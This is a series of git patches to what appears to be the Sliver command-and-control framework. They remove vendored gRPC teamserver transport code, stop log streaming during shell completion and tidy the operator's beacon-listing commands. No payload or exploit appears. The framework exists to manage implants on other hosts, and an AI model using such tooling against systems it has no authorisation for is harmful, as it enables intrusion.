teamclient was asked to setup, or try - // connecting with, TLS credentials. If such an error is raised, make sure your team - // client has correctly fetched -using client.Config()- a remote teamserver config. - ErrNoTLSCredentials = errors.New("the grpc Teamclient has no TLS credentials to use") -) - -// Teamclient is a simple example gRPC teamclient and dialer backend. -// It comes correctly configured with Mutual TLS authentication and -// RPC connection/registration/use when created with NewTeamClient(). -// -// This teamclient embeds a team/client.Client core driver and uses -// it for fetching/setting up the transport credentials, dialers, etc... -// It also has a few internal types (clientConns, options) for working. -// -// Note that this teamclient is not able to be used as an in-memory dialer. -// See the counterpart `team/transports/grpc/server` package for creating one. -// Also note that this example transport has been made for a single use-case, -// and that your program might require more elaborated behavior. -// In this case, please use this simple code as a reference for what/not to do. -type Teamclient struct { - *client.Client - conn *grpc.ClientConn - rpc proto.TeamClient - options []grpc.DialOption -} - -// NewTeamClient creates a new gRPC-based RPC teamclient and dialer backend. -// This client has by default only a few options, like max message buffer size. -// All options passed to this call are stored as is and will be used later. -func NewTeamClient(opts ...grpc.DialOption) *Teamclient { - client := &Teamclient{ - options: opts, - } - - client.options = append(client.options, - grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)), - ) - - return client -} - -// Init implements team/client.Dialer.Init(c). -// This implementation asks the teamclient core for its remote server -// configuration, and uses it to load a set of Mutual TLS dialing options. -func (h *Teamclient) Init(cli *client.Client) error { - h.Client = cli - config := cli.Config() - - options := LogMiddlewareOptions(cli) - - // If the configuration has no credentials, we are most probably - // an in-memory dialer, don't authenticate and encrypt the conn. - if config.PrivateKey != "" { - tlsOpts, err := tlsAuthMiddleware(cli) - if err != nil { - return err - } - - h.options = append(h.options, tlsOpts...) - } - - h.options = append(h.options, options...) - - return nil -} - -// Dial implements team/client.Dialer.Dial(). -// It uses the teamclient remote server configuration as a target of a dial call. -// If the connection is successful, the teamclient registers a proto.Teamclient -// RPC around its client connection, to provide the core teamclient functionality. -func (h *Teamclient) Dial() (rpcClient any, err error) { - ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout) - defer cancel() - - host := fmt.Sprintf("%s:%d", h.Config().Host, h.Config().Port) - - h.conn, err = grpc.DialContext(ctx, host, h.options...) - if err != nil { - return nil, err - } - - h.rpc = proto.NewTeamClient(h.conn) - - return h.conn, nil -} - -// Close implements team/client.Dialer.Close(), and closes the gRPC client connection. -func (h *Teamclient) Close() error { - return h.conn.Close() -} - -// Users returns a list of all users registered with the app teamserver. -// If the gRPC teamclient is not connected or does not have an RPC client, -// an ErrNoRPC is returned. -func (h *Teamclient) Users() (users []team.User, err error) { - if h.rpc == nil { - return nil, ErrNoRPC - } - - res, err := h.rpc.GetUsers(context.Background(), &proto.Empty{}) - if err != nil { - return nil, err - } - - for _, user := range res.GetUsers() { - users = append(users, team.User{ - Name: user.Name, - Online: user.Online, - LastSeen: time.Unix(user.LastSeen, 0), - }) - } - - return -} - -// ServerVersion returns the version information of the server to which -// the client is connected, or nil and an error if it could not retrieve it. -// If the gRPC teamclient is not connected or does not have an RPC client, -// an ErrNoRPC is returned. -func (h *Teamclient) Version() (version team.Version, err error) { - if h.rpc == nil { - return version, ErrNoRPC - } - - ver, err := h.rpc.GetVersion(context.Background(), &proto.Empty{}) - if err != nil { - return version, errors.New(status.Convert(err).Message()) - } - - return team.Version{ - Major: ver.Major, - Minor: ver.Minor, - Patch: ver.Patch, - Commit: ver.Commit, - Dirty: ver.Dirty, - CompiledAt: ver.CompiledAt, - OS: ver.OS, - Arch: ver.Arch, - }, nil -} diff --git a/vendor/github.com/reeflective/team/transports/grpc/client/middleware.go b/vendor/github.com/reeflective/team/transports/grpc/client/middleware.go deleted file mode 100644 index e0f0f37619..0000000000 --- a/vendor/github.com/reeflective/team/transports/grpc/client/middleware.go +++ /dev/null @@ -1,99 +0,0 @@ -package client - -/* - team - Embedded teamserver for Go programs and CLI applications - Copyright (C) 2023 Reeflective - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - "encoding/json" - - grpc_logrus "github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus" - "github.com/reeflective/team/client" - "github.com/reeflective/team/transports/grpc/common" - "google.golang.org/grpc" - "google.golang.org/grpc/credentials" -) - -// TokenAuth extracts authentication metadata from contexts, -// specifically the "Authorization": "Bearer" key:value pair. -type TokenAuth string - -// LogMiddlewareOptions is an example list of gRPC options with logging middleware set up. -// This function uses the core teamclient loggers to log the gRPC stack/requests events. -// The Teamclient of this package uses them by default. -func LogMiddlewareOptions(cli *client.Client) []grpc.DialOption { - logrusEntry := cli.NamedLogger("transport", "grpc") - logrusOpts := []grpc_logrus.Option{ - grpc_logrus.WithLevels(common.CodeToLevel), - } - - grpc_logrus.ReplaceGrpcLogger(logrusEntry) - - // Intercepting client requests. - requestIntercept := func(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, invoker grpc.UnaryInvoker, opts ...grpc.CallOption) error { - rawRequest, err := json.Marshal(req) - if err != nil { - logrusEntry.Errorf("Failed to serialize: %s", err) - return invoker(ctx, method, req, reply, cc, opts...) - } - - logrusEntry.Debugf("Raw request: %s", string(rawRequest)) - - return invoker(ctx, method, req, reply, cc, opts...) - } - - options := []grpc.DialOption{ - grpc.WithBlock(), - grpc.WithUnaryInterceptor(grpc_logrus.UnaryClientInterceptor(logrusEntry, logrusOpts...)), - grpc.WithUnaryInterceptor(requestIntercept), - } - - return options -} - -func tlsAuthMiddleware(cli *client.Client) ([]grpc.DialOption, error) { - config := cli.Config() - if config.PrivateKey == "" { - return nil, ErrNoTLSCredentials - } - - tlsConfig, err := cli.NewTLSConfigFrom(config.CACertificate, config.Certificate, config.PrivateKey) - if err != nil { - return nil, err - } - - transportCreds := credentials.NewTLS(tlsConfig) - callCreds := credentials.PerRPCCredentials(TokenAuth(config.Token)) - - return []grpc.DialOption{ - grpc.WithTransportCredentials(transportCreds), - grpc.WithPerRPCCredentials(callCreds), - }, nil -} - -// Return value is mapped to request headers. -func (t TokenAuth) GetRequestMetadata(_ context.Context, _ ...string) (map[string]string, error) { - return map[string]string{ - "Authorization": "Bearer " + string(t), - }, nil -} - -// RequireTransportSecurity always return true. -func (TokenAuth) RequireTransportSecurity() bool { - return true -} diff --git a/vendor/github.com/reeflective/team/transports/grpc/server/middleware.go b/vendor/github.com/reeflective/team/transports/grpc/server/middleware.go deleted file mode 100644 index 9414ee1aa8..0000000000 --- a/vendor/github.com/reeflective/team/transports/grpc/server/middleware.go +++ /dev/null @@ -1,218 +0,0 @@ -package server - -/* - team - Embedded teamserver for Go programs and CLI applications - Copyright (C) 2023 Reeflective - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - "encoding/json" - - grpc_middleware "github.com/grpc-ecosystem/go-grpc-middleware" - grpc_auth "github.com/grpc-ecosystem/go-grpc-middleware/auth" - grpc_logrus "github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus" - grpc_tags "github.com/grpc-ecosystem/go-grpc-middleware/tags" - "github.com/reeflective/team/server" - "github.com/reeflective/team/transports/grpc/common" - "github.com/sirupsen/logrus" - "google.golang.org/grpc" - "google.golang.org/grpc/codes" - "google.golang.org/grpc/credentials" - "google.golang.org/grpc/status" -) - -// BufferingOptions returns a list of server options with max send/receive -// message size, which value is that of the ServerMaxMessageSize variable (2GB). -func BufferingOptions() (options []grpc.ServerOption) { - options = append(options, - grpc.MaxRecvMsgSize(ServerMaxMessageSize), - grpc.MaxSendMsgSize(ServerMaxMessageSize), - ) - - return -} - -// LogMiddlewareOptions is a set of logging middleware options -// preconfigured to perform the following tasks: -// - Log all connections/disconnections to/from the teamserver listener. -// - Log all raw client requests into a teamserver audit file (see server.AuditLog()). -func LogMiddlewareOptions(s *server.Server) ([]grpc.ServerOption, error) { - var requestOpts []grpc.UnaryServerInterceptor - var streamOpts []grpc.StreamServerInterceptor - - cfg := s.GetConfig() - - // Audit-log all requests. Any failure to audit-log the requests - // of this server will themselves be logged to the root teamserver log. - auditLog, err := s.AuditLogger() - if err != nil { - return nil, err - } - - requestOpts = append(requestOpts, auditLogUnaryServerInterceptor(s, auditLog)) - - requestOpts = append(requestOpts, - grpc_tags.UnaryServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), - ) - - streamOpts = append(streamOpts, - grpc_tags.StreamServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), - ) - - // Logging interceptors - logrusEntry := s.NamedLogger("transport", "grpc") - logrusOpts := []grpc_logrus.Option{ - grpc_logrus.WithLevels(common.CodeToLevel), - } - - grpc_logrus.ReplaceGrpcLogger(logrusEntry) - - requestOpts = append(requestOpts, - grpc_logrus.UnaryServerInterceptor(logrusEntry, logrusOpts...), - grpc_logrus.PayloadUnaryServerInterceptor(logrusEntry, func(ctx context.Context, fullMethodName string, servingObject interface{}) bool { - return cfg.Log.GRPCUnaryPayloads - }), - ) - - streamOpts = append(streamOpts, - grpc_logrus.StreamServerInterceptor(logrusEntry, logrusOpts...), - grpc_logrus.PayloadStreamServerInterceptor(logrusEntry, func(ctx context.Context, fullMethodName string, servingObject interface{}) bool { - return cfg.Log.GRPCStreamPayloads - }), - ) - - return []grpc.ServerOption{ - grpc_middleware.WithUnaryServerChain(requestOpts...), - grpc_middleware.WithStreamServerChain(streamOpts...), - }, nil -} - -// TLSAuthMiddlewareOptions is a set of transport security options which will use -// the preconfigured teamserver TLS (credentials) configuration to authenticate -// incoming client connections. The authentication is Mutual TLS, used because -// all teamclients will connect with a known TLS credentials set. -func TLSAuthMiddlewareOptions(s *server.Server) ([]grpc.ServerOption, error) { - var options []grpc.ServerOption - - tlsConfig, err := s.UsersTLSConfig() - if err != nil { - return nil, err - } - - creds := credentials.NewTLS(tlsConfig) - options = append(options, grpc.Creds(creds)) - - return options, nil -} - -// initAuthMiddleware - Initialize middleware logger. -func (ts *Teamserver) initAuthMiddleware() ([]grpc.ServerOption, error) { - var requestOpts []grpc.UnaryServerInterceptor - var streamOpts []grpc.StreamServerInterceptor - - // Authentication interceptors. - if ts.conn == nil { - // All remote connections are users who need authentication. - requestOpts = append(requestOpts, - grpc_auth.UnaryServerInterceptor(ts.tokenAuthFunc), - ) - - streamOpts = append(streamOpts, - grpc_auth.StreamServerInterceptor(ts.tokenAuthFunc), - ) - } else { - // Local in-memory connections have no auth. - requestOpts = append(requestOpts, - grpc_auth.UnaryServerInterceptor(serverAuthFunc), - ) - streamOpts = append(streamOpts, - grpc_auth.StreamServerInterceptor(serverAuthFunc), - ) - } - - // Return middleware for all requests and stream interactions in gRPC. - return []grpc.ServerOption{ - grpc_middleware.WithUnaryServerChain(requestOpts...), - grpc_middleware.WithStreamServerChain(streamOpts...), - }, nil -} - -// TODO: Should we change the default in-memory server name ? -func serverAuthFunc(ctx context.Context) (context.Context, error) { - newCtx := context.WithValue(ctx, "transport", "local") - newCtx = context.WithValue(newCtx, "user", "server") - - return newCtx, nil -} - -func (ts *Teamserver) tokenAuthFunc(ctx context.Context) (context.Context, error) { - log := ts.NamedLogger("transport", "grpc") - log.Debugf("Auth interceptor checking user token ...") - - rawToken, err := grpc_auth.AuthFromMD(ctx, "Bearer") - if err != nil { - log.Errorf("Authentication failure: %s", err) - return nil, status.Error(codes.Unauthenticated, "Authentication failure") - } - - user, authorized, err := ts.UserAuthenticate(rawToken) - if err != nil || !authorized || user == "" { - log.Errorf("Authentication failure: %s", err) - return nil, status.Error(codes.Unauthenticated, "Authentication failure") - } - - newCtx := context.WithValue(ctx, "transport", "mtls") - newCtx = context.WithValue(newCtx, "user", user) - - return newCtx, nil -} - -type auditUnaryLogMsg struct { - Request string `json:"request"` - Method string `json:"method"` -} - -func auditLogUnaryServerInterceptor(ts *server.Server, auditLog *logrus.Logger) grpc.UnaryServerInterceptor { - log := ts.NamedLogger("grpc", "audit") - - return func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (_ interface{}, err error) { - rawRequest, err := json.Marshal(req) - if err != nil { - log.Errorf("Failed to serialize %s", err) - return - } - - log.Debugf("Raw request: %s", string(rawRequest)) - - if err != nil { - log.Errorf("Middleware failed to insert details: %s", err) - } - - // Construct Log Message - msg := &auditUnaryLogMsg{ - Request: string(rawRequest), - Method: info.FullMethod, - } - - msgData, _ := json.Marshal(msg) - auditLog.Info(string(msgData)) - - resp, err := handler(ctx, req) - - return resp, err - } -} diff --git a/vendor/github.com/reeflective/team/transports/grpc/server/rpc.go b/vendor/github.com/reeflective/team/transports/grpc/server/rpc.go deleted file mode 100644 index 2f206cde8f..0000000000 --- a/vendor/github.com/reeflective/team/transports/grpc/server/rpc.go +++ /dev/null @@ -1,73 +0,0 @@ -package server - -/* - team - Embedded teamserver for Go programs and CLI applications - Copyright (C) 2023 Reeflective - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - - "github.com/reeflective/team/server" - "github.com/reeflective/team/transports/grpc/proto" -) - -// rpcServer is the gRPC server implementation. -// It makes uses of the teamserver core to query users and version information. -type rpcServer struct { - server *server.Server - *proto.UnimplementedTeamServer -} - -func newServer(server *server.Server) *rpcServer { - return &rpcServer{ - server: server, - UnimplementedTeamServer: &proto.UnimplementedTeamServer{}, - } -} - -// GetVersion returns the teamserver version. -func (ts *rpcServer) GetVersion(context.Context, *proto.Empty) (*proto.Version, error) { - ver, err := ts.server.Version() - - return &proto.Version{ - Major: ver.Major, - Minor: ver.Minor, - Patch: ver.Patch, - Commit: ver.Commit, - Dirty: ver.Dirty, - CompiledAt: ver.CompiledAt, - OS: ver.OS, - Arch: ver.Arch, - }, err -} - -// GetUsers returns the list of teamserver users and their status. -func (ts *rpcServer) GetUsers(context.Context, *proto.Empty) (*proto.Users, error) { - users, err := ts.server.Users() - - userspb := make([]*proto.User, len(users)) - for i, user := range users { - userspb[i] = &proto.User{ - Name: user.Name, - Online: user.Online, - LastSeen: user.LastSeen.Unix(), - Clients: int32(user.Clients), - } - } - - return &proto.Users{Users: userspb}, err -} diff --git a/vendor/github.com/reeflective/team/transports/grpc/server/server.go b/vendor/github.com/reeflective/team/transports/grpc/server/server.go deleted file mode 100644 index e86a01baa5..0000000000 --- a/vendor/github.com/reeflective/team/transports/grpc/server/server.go +++ /dev/null @@ -1,204 +0,0 @@ -package server - -/* - team - Embedded teamserver for Go programs and CLI applications - Copyright (C) 2023 Reeflective - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - "net" - "runtime/debug" - "sync" - - teamserver "github.com/reeflective/team/server" - clientConn "github.com/reeflective/team/transports/grpc/client" - "github.com/reeflective/team/transports/grpc/proto" - "google.golang.org/grpc" - "google.golang.org/grpc/test/bufconn" -) - -const ( - kb = 1024 - mb = kb * 1024 - gb = mb * 1024 - - bufSize = 2 * mb - - // ServerMaxMessageSize - Server-side max GRPC message size. - ServerMaxMessageSize = 2*gb - 1 -) - -// Teamserver is a simple example gRPC teamserver listener and server backend. -// This server can handle both remote and local (in-memory) connections, provided -// that it is being created with the correct grpc.Server options. -// -// This teamserver embeds a team/server.Server core driver and uses it for fetching -// server-side TLS configurations, use its loggers and access its database/users/list. -// -// By default, the server has no grpc.Server options attached. -// Please see the other functions of this package for pre-configured option sets. -type Teamserver struct { - *teamserver.Server - - options []grpc.ServerOption - conn *bufconn.Listener - mutex *sync.RWMutex - - hooks []func(server *grpc.Server) error -} - -// NewListener is a simple constructor returning a teamserver loaded with the -// provided list of server options. By default the server does not come with any. -func NewListener(opts ...grpc.ServerOption) *Teamserver { - listener := &Teamserver{ - mutex: &sync.RWMutex{}, - } - - listener.options = append(listener.options, opts...) - - return listener -} - -// NewClientFrom requires an existing grpc Teamserver to create an in-memory -// connection bound to both the teamserver and the teamclient backends. -// It returns a teamclient meant to be ran in memory, with TLS credentials disabled. -func NewClientFrom(server *Teamserver, opts ...grpc.DialOption) *clientConn.Teamclient { - conn := bufconn.Listen(bufSize) - - ctxDialer := grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) { - return conn.Dial() - }) - - opts = append(opts, []grpc.DialOption{ - ctxDialer, - grpc.WithInsecure(), - }...) - - // The server will use this conn as a listener. - // The reference is dropped after server start. - server.conn = conn - - return clientConn.NewTeamClient(opts...) -} - -// Name immplements team/server.Handler.Name(). -// It indicates the transport/rpc stack, in this case "gRPC". -func (h *Teamserver) Name() string { - return "gRPC" -} - -// PostServe registers one or more hook functions to be ran on the server -// before it is served to the listener. These hooks should naturally be -// used to register additional services to it. -func (h *Teamserver) PostServe(hooks ...func(server *grpc.Server) error) { - h.hooks = append(h.hooks, hooks...) -} - -// Init implements team/server.Handler.Init(). -// It is used to initialize the listener with the correct TLS credentials -// middleware (or absence of if about to serve an in-memory connection). -func (h *Teamserver) Init(serv *teamserver.Server) (err error) { - h.Server = serv - - h.options, err = LogMiddlewareOptions(h.Server) - if err != nil { - return err - } - - // Logging/authentication/audit - serverOptions, err := h.initAuthMiddleware() - if err != nil { - return err - } - - h.options = append(h.options, serverOptions...) - - return nil -} - -// Listen implements team/server.Handler.Listen(). -// It starts listening on a network address for incoming gRPC clients. -// If the teamserver has previously been given an in-memory connection, -// it returns it as the listener without errors. -func (h *Teamserver) Listen(addr string) (ln net.Listener, err error) { - rpcLog := h.NamedLogger("transport", "mTLS") - - // Only wrap the connection in TLS when remote. - // In-memory connection are not authenticated. - if h.conn == nil { - ln, err = net.Listen("tcp", addr) - if err != nil { - return nil, err - } - - // Encryption. - tlsOptions, err := TLSAuthMiddlewareOptions(h.Server) - if err != nil { - return nil, err - } - - h.options = append(h.options, tlsOptions...) - } else { - h.mutex.Lock() - ln = h.conn - h.conn = nil - h.mutex.Unlock() - } - - grpcServer := grpc.NewServer(h.options...) - - // Register the core teamserver service - proto.RegisterTeamServer(grpcServer, newServer(h.Server)) - - for _, hook := range h.hooks { - if err := hook(grpcServer); err != nil { - rpcLog.Errorf("service bind error: %s", err) - return nil, err - } - } - - rpcLog.Infof("Serving gRPC teamserver on %s", ln.Addr()) - - // Start serving the listener - go func() { - panicked := true - defer func() { - if panicked { - rpcLog.Errorf("stacktrace from panic: %s", string(debug.Stack())) - } - }() - - if err := grpcServer.Serve(ln); err != nil { - rpcLog.Errorf("gRPC server exited with error: %v", err) - } else { - panicked = false - } - }() - - return ln, nil -} - -// Close implements team/server.Handler.Close(). -// In this implementation, the function does nothing. Thus the underlying -// *grpc.Server.Shutdown() method is not called, and only the listener -// will be closed by the server automatically when using CloseListener(). -// -// This is probably not optimal from a resource usage standpoint, but currently it -// fits most use cases. Feel free to reimplement or propose changes to this lib. -func (h *Teamserver) Close() error { - return nil -} diff --git a/vendor/modules.txt b/vendor/modules.txt index b74b65565f..4a534c0b54 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -549,10 +549,8 @@ github.com/reeflective/team/internal/systemd github.com/reeflective/team/internal/version github.com/reeflective/team/server github.com/reeflective/team/server/commands -github.com/reeflective/team/transports/grpc/client github.com/reeflective/team/transports/grpc/common github.com/reeflective/team/transports/grpc/proto -github.com/reeflective/team/transports/grpc/server # github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec ## explicit; go 1.12 github.com/remyoudompheng/bigfft From b4f49caa35ef5d45acd2f44ff59466c6ba33378e Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 23 Jul 2023 23:37:14 +0200 Subject: [PATCH 032/124] Update team module dep --- vendor/github.com/reeflective/team/server/server.go | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/vendor/github.com/reeflective/team/server/server.go b/vendor/github.com/reeflective/team/server/server.go index f9bcbd9686..27f04b743d 100644 --- a/vendor/github.com/reeflective/team/server/server.go +++ b/vendor/github.com/reeflective/team/server/server.go @@ -24,6 +24,7 @@ import ( "os" "os/signal" "regexp" + "runtime/debug" "syscall" "github.com/reeflective/team/client" @@ -114,11 +115,11 @@ func (ts *Server) ServeDaemon(host string, port uint16, opts ...Options) (err er log.Debugf("No port specified, using config file default: %d", port) } - // defer func() { - // if r := recover(); r != nil { - // log.Errorf("panic:\n%s", debug.Stack()) - // } - // }() + defer func() { + if r := recover(); r != nil { + log.Errorf("panic:\n%s", debug.Stack()) + } + }() // Start the listener. log.Infof("Starting %s teamserver daemon on %s:%d ...", ts.Name(), host, port) From 0cbdadb455c349e55d8a28f64e6ac68262ded05a Mon Sep 17 00:00:00 2001 From: maxlandon Date: Mon, 24 Jul 2023 17:44:43 +0200 Subject: [PATCH 033/124] Don't stream client output when completing --- client/cli/cli.go | 11 ++++++++++- client/console/console.go | 36 ++++++++++++++++++++++-------------- server/cli/cli.go | 11 ++++++++++- 3 files changed, 42 insertions(+), 16 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index 2137861e79..7793396d72 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -113,7 +113,16 @@ func getSliverCommands(con *client.SliverClient) (server, sliver console.Command // Before running any CLI entry command, require the Sliver client to connect to a teamserver. func preRunClient(con *client.SliverClient) func(_ *cobra.Command, _ []string) error { - return func(_ *cobra.Command, _ []string) error { + return func(cmd *cobra.Command, _ []string) error { + // Don't stream console asciicast/logs when using the completion subcommand. + // We don't use cmd.Root().Find() for this, as it would always trigger the condition true. + for _, compCmd := range cmd.Root().Commands() { + if compCmd != nil && compCmd.Name() == "_carapace" && compCmd.CalledAs() != "" { + con.IsCompleting = true + break + } + } + return con.Teamclient.Connect() } } diff --git a/client/console/console.go b/client/console/console.go index aa583a7a3a..52e66c8e38 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -93,20 +93,23 @@ type ( ) type SliverClient struct { - App *console.Console + // Core client + Teamclient *client.Client + App *console.Console + IsServer bool + IsCLI bool + IsCompleting bool + + jsonHandler slog.Handler + printf func(format string, args ...any) (int, error) + + // Sliver-specific Rpc rpcpb.SliverRPCClient ActiveTarget *ActiveTarget EventListeners *sync.Map BeaconTaskCallbacks map[string]BeaconTaskCallback BeaconTaskCallbacksMutex *sync.Mutex Settings *assets.ClientSettings - IsServer bool - IsCLI bool - - jsonHandler slog.Handler - printf func(format string, args ...any) (int, error) - - Teamclient *client.Client } // NewSliverClient is the general-purpose Sliver Client constructor. @@ -210,23 +213,28 @@ func (con *SliverClient) connect(conn *grpc.ClientConn) { go con.startEventLoop() go core.TunnelLoop(con.Rpc) - // console logger - if con.Settings.ConsoleLogs { + // Don't stream console logs and asciicast when the client + // is used within a completion subcommand: not only this + // output is not useful to anyone, but this strongly increases + // changes of stdio being wired to pipes it should not, etc. + if !con.IsCompleting && con.Settings.ConsoleLogs { // Classic logs consoleLog := getConsoleLogFile() + consoleLogStream, err := con.ClientLogStream("json") if err != nil { - log.Printf("Could not get client log stream: %s", err) + fmt.Printf("Could not get client log stream: %s", err) } + con.setupLogger(consoleLog, consoleLogStream) // defer consoleLog.Close() // // Ascii cast sessions (complete terminal interface). - // asciicastLog := getConsoleAsciicastFile() + asciicastLog := getConsoleAsciicastFile() // defer asciicastLog.Close() - // asciicastStream, err := con.ClientLogStream("asciicast") - // con.setupAsciicastRecord(asciicastLog, asciicastStream) + asciicastStream, err := con.ClientLogStream("asciicast") + con.setupAsciicastRecord(asciicastLog, asciicastStream) } } diff --git a/server/cli/cli.go b/server/cli/cli.go index 0ad8ad71eb..bea28110b7 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -189,7 +189,7 @@ func getSliverCommands(teamserver *server.Server, con *client.SliverClient) (ser // preRunServer is the server-binary-specific pre-run; it ensures that the server // has everything it needs to perform any client-side command/task. func preRunServer(teamserver *server.Server, con *client.SliverClient) func(_ *cobra.Command, _ []string) error { - return func(_ *cobra.Command, _ []string) error { + return func(cmd *cobra.Command, _ []string) error { // Ensure the server has what it needs. assets.Setup(false, true) encoders.Setup() // WARN: I added this here after assets.Setup(), but used to be in init. Is it wrong to put it here ? @@ -202,6 +202,15 @@ func preRunServer(teamserver *server.Server, con *client.SliverClient) func(_ *c serverConfig := configs.GetServerConfig() c2.StartPersistentJobs(serverConfig) + // Don't stream console asciicast/logs when using the completion subcommand. + // We don't use cmd.Root().Find() for this, as it would always trigger the condition true. + for _, compCmd := range cmd.Root().Commands() { + if compCmd != nil && compCmd.Name() == "_carapace" && compCmd.CalledAs() != "" { + con.IsCompleting = true + break + } + } + // Let our in-memory teamclient be served. return teamserver.Serve(con.Teamclient) } From cc48d602d44eb4ab3dc04dba5dce4b5d35083d57 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Mon, 24 Jul 2023 20:41:47 +0200 Subject: [PATCH 034/124] Test caching completions. Much better --- client/command/beacons/beacons.go | 12 ++++++------ client/command/beacons/commands.go | 9 ++++----- client/command/beacons/helpers.go | 9 ++++----- client/command/beacons/prune.go | 5 ++--- client/command/beacons/rm.go | 5 ++--- client/command/beacons/watch.go | 5 ++--- client/command/generate/helpers.go | 3 ++- client/command/settings/tables.go | 27 +++++++++++++++++++++++++++ client/console/console.go | 6 +++--- 9 files changed, 52 insertions(+), 29 deletions(-) diff --git a/client/command/beacons/beacons.go b/client/command/beacons/beacons.go index 5abfa659c9..81b77a7bcf 100644 --- a/client/command/beacons/beacons.go +++ b/client/command/beacons/beacons.go @@ -24,18 +24,17 @@ import ( "strings" "time" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "golang.org/x/term" - "github.com/bishopfox/sliver/client/command/kill" "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "golang.org/x/term" ) -// BeaconsCmd - Display/interact with beacons +// BeaconsCmd - Display/interact with beacons. func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { killFlag, _ := cmd.Flags().GetString("kill") killAll, _ := cmd.Flags().GetBool("kill-all") @@ -93,7 +92,7 @@ func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { PrintBeacons(beacons.Beacons, filter, filterRegex, con) } -// PrintBeacons - Display a list of beacons +// PrintBeacons - Display a list of beacons. func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) { if len(beacons) == 0 { con.PrintInfof("No beacons 🙁\n") @@ -112,6 +111,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) wideTermWidth := con.Settings.SmallTermWidth < width + settings.SetMaxTableSize(tw) if wideTermWidth { tw.AppendHeader(table.Row{ "ID", diff --git a/client/command/beacons/commands.go b/client/command/beacons/commands.go index 9849017446..d44057c482 100644 --- a/client/command/beacons/commands.go +++ b/client/command/beacons/commands.go @@ -5,15 +5,14 @@ import ( "fmt" "strings" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -78,7 +77,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { return []*cobra.Command{beaconsCmd} } -// BeaconIDCompleter completes beacon IDs +// BeaconIDCompleter completes beacon IDs. func BeaconIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/client/command/beacons/helpers.go b/client/command/beacons/helpers.go index 37473b9975..15125dbd63 100644 --- a/client/command/beacons/helpers.go +++ b/client/command/beacons/helpers.go @@ -27,22 +27,21 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" ) var ( - // ErrNoBeacons - No sessions available + // ErrNoBeacons - No sessions available. ErrNoBeacons = errors.New("no beacons") - // ErrNoSelection - No selection made + // ErrNoSelection - No selection made. ErrNoSelection = errors.New("no selection") - // ErrBeaconNotFound + // ErrBeaconNotFound. ErrBeaconNotFound = errors.New("no beacon found for this ID") ) -// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions +// 